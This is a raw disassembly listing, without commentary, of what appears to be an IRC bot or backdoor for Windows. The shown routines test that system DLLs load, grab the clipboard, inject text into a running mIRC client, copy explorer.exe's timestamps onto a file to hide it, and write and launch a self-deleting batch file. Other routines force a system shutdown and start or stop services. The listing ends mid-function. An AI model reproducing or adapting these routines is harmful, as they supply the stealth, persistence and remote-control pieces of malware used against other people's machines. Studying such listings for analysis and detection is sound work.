		cmp	dword_4335A8, ebx
		mov	dword_433474, eax
		jz	short loc_4051C7
		cmp	eax, ebx
		jnz	short loc_4051D1
		jmp	short loc_4051C7
; ---------------------------------------------------------------------------


loc_4051BC:				; CODE XREF: sub_40468E+B04j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_43364C, eax


loc_4051C7:				; CODE XREF: sub_40468E+B26j
					; sub_40468E+B2Cj
		mov	dword_433648, 1


loc_4051D1:				; CODE XREF: sub_40468E+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40525A
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43358C, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43345C, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4335A4, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4334C4, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_433550, eax
		call	esi	; GetProcAddress
		cmp	dword_43358C, ebx
		mov	dword_433468, eax
		jz	short loc_405265
		cmp	dword_43345C, ebx
		jz	short loc_405265
		cmp	dword_4335A4, ebx
		jz	short loc_405265
		cmp	dword_4334C4, ebx
		jz	short loc_405265
		cmp	dword_433550, ebx
		jz	short loc_405265
		cmp	eax, ebx
		jnz	short loc_40526F
		jmp	short loc_405265
; ---------------------------------------------------------------------------


loc_40525A:				; CODE XREF: sub_40468E+B4Ej
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_433654, eax


loc_405265:				; CODE XREF: sub_40468E+BA4j
					; sub_40468E+BACj ...
		mov	dword_433650, 1


loc_40526F:				; CODE XREF: sub_40468E+BC8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_40468E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405277	proc near		; CODE XREF: sub_4078FA+424Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4335F0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4052BF
		push	dword_4335F4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4052BF:				; CODE XREF: sub_405277+1Aj
		cmp	dword_4335F8, esi
		jz	short loc_4052F3
		push	dword_4335FC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4052F3:				; CODE XREF: sub_405277+4Ej
		cmp	dword_433600, esi
		jz	short loc_405327
		push	dword_433604
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_405327:				; CODE XREF: sub_405277+82j
		cmp	dword_433608, esi
		jz	short loc_40535B
		push	dword_43360C
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40535B:				; CODE XREF: sub_405277+B6j
		cmp	dword_433610, esi
		jz	short loc_40538F
		push	dword_433614
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40538F:				; CODE XREF: sub_405277+EAj
		cmp	dword_433618, esi
		jz	short loc_4053C3
		push	dword_43361C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4053C3:				; CODE XREF: sub_405277+11Ej
		cmp	dword_433620, esi
		jz	short loc_4053F7
		push	dword_433624
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4053F7:				; CODE XREF: sub_405277+152j
		cmp	dword_433628, esi
		jz	short loc_40542B
		push	dword_43362C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40542B:				; CODE XREF: sub_405277+186j
		cmp	dword_433630, esi
		jz	short loc_40545F
		push	dword_433634
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40545F:				; CODE XREF: sub_405277+1BAj
		cmp	dword_433638, esi
		jz	short loc_405493
		push	dword_43363C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_405493:				; CODE XREF: sub_405277+1EEj
		cmp	dword_433640, esi
		jz	short loc_4054C7
		push	dword_433644
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4054C7:				; CODE XREF: sub_405277+222j
		cmp	dword_433648, esi
		jz	short loc_4054FB
		push	dword_43364C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4054FB:				; CODE XREF: sub_405277+256j
		cmp	dword_433650, esi
		jz	short loc_40552F
		push	dword_433654
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40552F:				; CODE XREF: sub_405277+28Aj
		lea	eax, [ebp+var_200]
		push	offset aMainDllTestCom ; "[MAIN]: DLL test complete."
		push	eax
		call	sub_412BB5
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40555C
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40555C:				; CODE XREF: sub_405277+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405277	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40556E	proc near		; CODE XREF: sub_4078FA+A6Ap
					; sub_4078FA+A9Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	loc_405645
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	loc_405645
		cmp	[ebp+arg_8], esi
		jz	loc_405645
		cmp	byte ptr [eax],	0
		jz	loc_405645
		push	ebx
		push	edi
		call	sub_41E867
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_405640
		push	[ebp+arg_4]
		push	edi
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_405639
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_412C40
		mov	eax, ebx
		sub	eax, edi
		add	esp, 0Ch
		and	byte ptr [eax+esi], 0
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]


loc_4055DB:				; CODE XREF: sub_40556E+72j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4055DB
		sub	eax, ecx
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_412A80
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		lea	ecx, [eax+1]


loc_4055F7:				; CODE XREF: sub_40556E+8Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4055F7
		sub	eax, ecx
		add	eax, esi
		mov	esi, eax


loc_405604:				; CODE XREF: sub_40556E+9Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405604
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_405610:				; CODE XREF: sub_40556E+A8j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_405610
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		mov	eax, ebx
		sub	edx, ebx


loc_40562F:				; CODE XREF: sub_40556E+C9j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40562F


loc_405639:				; CODE XREF: sub_40556E+50j
		push	ebx
		call	sub_412FE4
		pop	ecx


loc_405640:				; CODE XREF: sub_40556E+3Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_405647
; ---------------------------------------------------------------------------


loc_405645:				; CODE XREF: sub_40556E+Cj
					; sub_40556E+17j ...
		xor	eax, eax


loc_405647:				; CODE XREF: sub_40556E+D5j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40556E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40564B	proc near		; CODE XREF: sub_40751F+C2p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ecx, 1F4h
		lea	edi, [ebp+var_7D0]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	eax, ecx
		lea	esi, [eax+1]


loc_40566E:				; CODE XREF: sub_40564B+28j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40566E
		sub	eax, esi
		xor	ebx, ebx
		mov	edi, eax
		inc	ebx
		cmp	edi, ebx
		jge	short loc_405685
		or	eax, 0FFFFFFFFh
		jmp	short loc_4056E5
; ---------------------------------------------------------------------------


loc_405685:				; CODE XREF: sub_40564B+33j
		xor	edx, edx
		test	edi, edi
		mov	[ebp+var_7D0], ecx
		jle	short loc_4056A5


loc_405691:				; CODE XREF: sub_40564B+58j
		mov	al, [edx+ecx]
		cmp	al, 0Ah
		jz	short loc_40569C
		cmp	al, 0Dh
		jnz	short loc_4056A0


loc_40569C:				; CODE XREF: sub_40564B+4Bj
		and	byte ptr [edx+ecx], 0


loc_4056A0:				; CODE XREF: sub_40564B+4Fj
		inc	edx
		cmp	edx, edi
		jl	short loc_405691


loc_4056A5:				; CODE XREF: sub_40564B+44j
		xor	esi, esi
		test	edi, edi
		jle	short loc_4056CF


loc_4056AB:				; CODE XREF: sub_40564B+82j
		cmp	byte ptr [esi+ecx], 0
		jnz	short loc_4056CA
		lea	edx, [esi+ecx+1]
		cmp	byte ptr [edx],	0
		jz	short loc_4056CA
		cmp	ebx, 1F4h
		jge	short loc_4056CF
		mov	[ebp+ebx*4+var_7D0], edx
		inc	ebx


loc_4056CA:				; CODE XREF: sub_40564B+64j
					; sub_40564B+6Dj
		inc	esi
		cmp	esi, edi
		jl	short loc_4056AB


loc_4056CF:				; CODE XREF: sub_40564B+5Ej
					; sub_40564B+75j
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_4056E3
		mov	ecx, 1F4h
		lea	esi, [ebp+var_7D0]
		rep movsd


loc_4056E3:				; CODE XREF: sub_40564B+89j
		mov	eax, ebx


loc_4056E5:				; CODE XREF: sub_40564B+38j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40564B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056EA	proc near		; CODE XREF: sub_405A98+26p
					; sub_405AD5+79p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_413A6E
		cmp	al, 61h
		pop	ecx
		jl	short loc_405705
		cmp	al, 7Ah
		jg	short loc_405705
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_405705:				; CODE XREF: sub_4056EA+Ej
					; sub_4056EA+12j
		xor	eax, eax
		retn
sub_4056EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405708	proc near		; CODE XREF: sub_4078FA+2B12p
					; sub_4078FA+3596p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	0
		push	100h
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_41F07C	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_405741:				; CODE XREF: sub_405708+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40574D
		cmp	cl, 9
		jnz	short loc_405750


loc_40574D:				; CODE XREF: sub_405708+3Ej
		inc	eax
		jmp	short loc_405741
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_405708+43j
					; sub_405708+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40576A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_405750
		cmp	cl, 21h
		jl	short loc_405750


loc_40576A:				; CODE XREF: sub_405708+54j
		push	esi
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		mov	esi, offset dword_433660
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_412E0D
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_405708	endp


; =============== S U B	R O U T	I N E =======================================



sub_405792	proc near		; CODE XREF: sub_4078FA+41DFp
		push	esi
		push	0
		call	dword_43344C	; OpenClipboard
		test	eax, eax
		jz	short loc_4057C9
		push	1
		call	dword_4335CC	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4057C9
		push	edi
		push	esi
		call	ds:dword_41F084	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_41F080	; GlobalUnlock
		call	dword_433430	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4057C9:				; CODE XREF: sub_405792+Bj
					; sub_405792+19j
		xor	eax, eax
		pop	esi
		retn
sub_405792	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057CD	proc near		; CODE XREF: sub_4078FA+34F6p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	edi
		call	dword_4334F8	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_405849
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_41F090	; CreateFileMappingA
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		push	0F001Fh
		push	edi
		call	ds:dword_41F08C	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_433560	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_433560	; SendMessageA
		push	ebx
		call	ds:dword_41F088	; UnmapViewOfFile
		push	edi
		call	ds:dword_41F034	; CloseHandle
		xor	eax, eax
		inc	eax
		pop	ebx
		jmp	short loc_40584B
; ---------------------------------------------------------------------------


loc_405849:				; CODE XREF: sub_4057CD+16j
		xor	eax, eax


loc_40584B:				; CODE XREF: sub_4057CD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4057CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40584F	proc near		; CODE XREF: sub_40D1EF+21Ep

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_11C]
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4334C0	; SearchPathA
		test	eax, eax
		jz	short loc_4058F0
		push	ebx
		push	edi
		push	esi
		mov	edi, 80h
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41F03C
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4058EE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_41F098	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_41F034
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4058EE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_41F094	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4058EE:				; CODE XREF: sub_40584F+51j
					; sub_40584F+87j
		pop	edi
		pop	ebx


loc_4058F0:				; CODE XREF: sub_40584F+28j
		pop	esi
		leave
		retn
sub_40584F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058F3	proc near		; CODE XREF: sub_4078FA+11A9p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_40707D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_433538	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4058F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405915	proc near		; CODE XREF: sub_401F06+495p
					; sub_4078FA+4492p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	ebx
		xor	ebx, ebx
		cmp	dword_42AE58, ebx
		push	esi
		jz	short loc_405939
		cmp	dword_433600, ebx
		jnz	short loc_405939
		push	ebx
		call	sub_401E73
		pop	ecx


loc_405939:				; CODE XREF: sub_405915+13j
					; sub_405915+1Bj
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:dword_41F0A4	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_260]
		push	eax
		call	ds:dword_41F03C	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jbe	loc_405A94
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_764]
		add	esp, 0Ch
		lea	edx, [eax+1]


loc_4059AC:				; CODE XREF: sub_405915+9Cj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4059AC
		push	edi
		push	ebx
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	esi
		call	ds:dword_41F038	; WriteFile
		push	esi
		call	ds:dword_41F034	; CloseHandle
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_58]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_15C]
		push	eax
		push	ebx
		mov	[ebp+var_4C], 41FA76h
		mov	[ebp+var_58], 44h
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], bx
		call	ds:dword_41F078	; GetModuleHandleA
		push	eax
		call	ds:dword_41F010	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_41F06C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		pop	edi
		jz	short loc_405A3D
		push	80h
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_41F0A0	; SetFileAttributesA


loc_405A3D:				; CODE XREF: sub_405915+114j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		push	esi
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:dword_41F09C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	ebx
		push	ebx
		push	4010h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_364]
		push	eax
		push	ebx
		call	ds:dword_41F030	; CreateProcessA


loc_405A94:				; CODE XREF: sub_405915+6Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_405915	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A98	proc near		; CODE XREF: sub_405AD5+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		rep stosd
		lea	edi, [eax-1]
		xor	esi, esi
		test	edi, edi
		jl	short loc_405AD2
		push	ebx
		mov	ebx, edi


loc_405AB5:				; CODE XREF: sub_405A98+37j
		mov	eax, [esp+0Ch+arg_0]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_4056EA
		pop	ecx
		mov	ecx, [esp+0Ch+arg_8]
		inc	esi
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_405AB5
		pop	ebx


loc_405AD2:				; CODE XREF: sub_405A98+18j
		pop	edi
		pop	esi
		retn
sub_405A98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AD5	proc near		; CODE XREF: sub_401D13+10p
					; sub_401D45+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_405AE8:				; CODE XREF: sub_405AD5+18j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405AE8
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_405AFA:				; CODE XREF: sub_405AD5+2Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405AFA
		push	ebx
		push	esi
		sub	eax, ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_405A98
		add	esp, 0Ch
		dec	esi
		mov	edi, esi
		jmp	short loc_405B97
; ---------------------------------------------------------------------------


loc_405B23:				; CODE XREF: sub_405AD5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413A6E
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_413A6E
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_405B95


loc_405B45:				; CODE XREF: sub_405AD5+BEj
		mov	ebx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edi+ebx]
		push	eax
		call	sub_4056EA
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_405B68
		mov	eax, ecx


loc_405B68:				; CODE XREF: sub_405AD5+8Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_405BA5
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413A6E
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_413A6E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_405B45


loc_405B95:				; CODE XREF: sub_405AD5+6Ej
		dec	edi
		dec	esi


loc_405B97:				; CODE XREF: sub_405AD5+4Cj
		test	esi, esi
		jg	short loc_405B23
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_405BA0:				; CODE XREF: sub_405AD5+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405BA5:				; CODE XREF: sub_405AD5+98j
		xor	eax, eax
		jmp	short loc_405BA0
sub_405AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BA9	proc near		; CODE XREF: sub_40668A+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		push	0F003Fh
		xor	ebx, ebx
		push	ebx
		push	ebx
		call	dword_43355C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_405BD0
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_405C45
; ---------------------------------------------------------------------------


loc_405BD0:				; CODE XREF: sub_405BA9+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4335D8	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_405BF0
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_405C3D
; ---------------------------------------------------------------------------


loc_405BF0:				; CODE XREF: sub_405BA9+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_405C23
		cmp	eax, 3
		jz	short loc_405C14
		jle	short loc_405C36
		cmp	eax, 6
		jg	short loc_405C36
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_433580	; ControlService
		jmp	short loc_405C2A
; ---------------------------------------------------------------------------


loc_405C14:				; CODE XREF: sub_405BA9+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_433564	; StartServiceA
		jmp	short loc_405C2A
; ---------------------------------------------------------------------------


loc_405C23:				; CODE XREF: sub_405BA9+4Dj
		push	esi
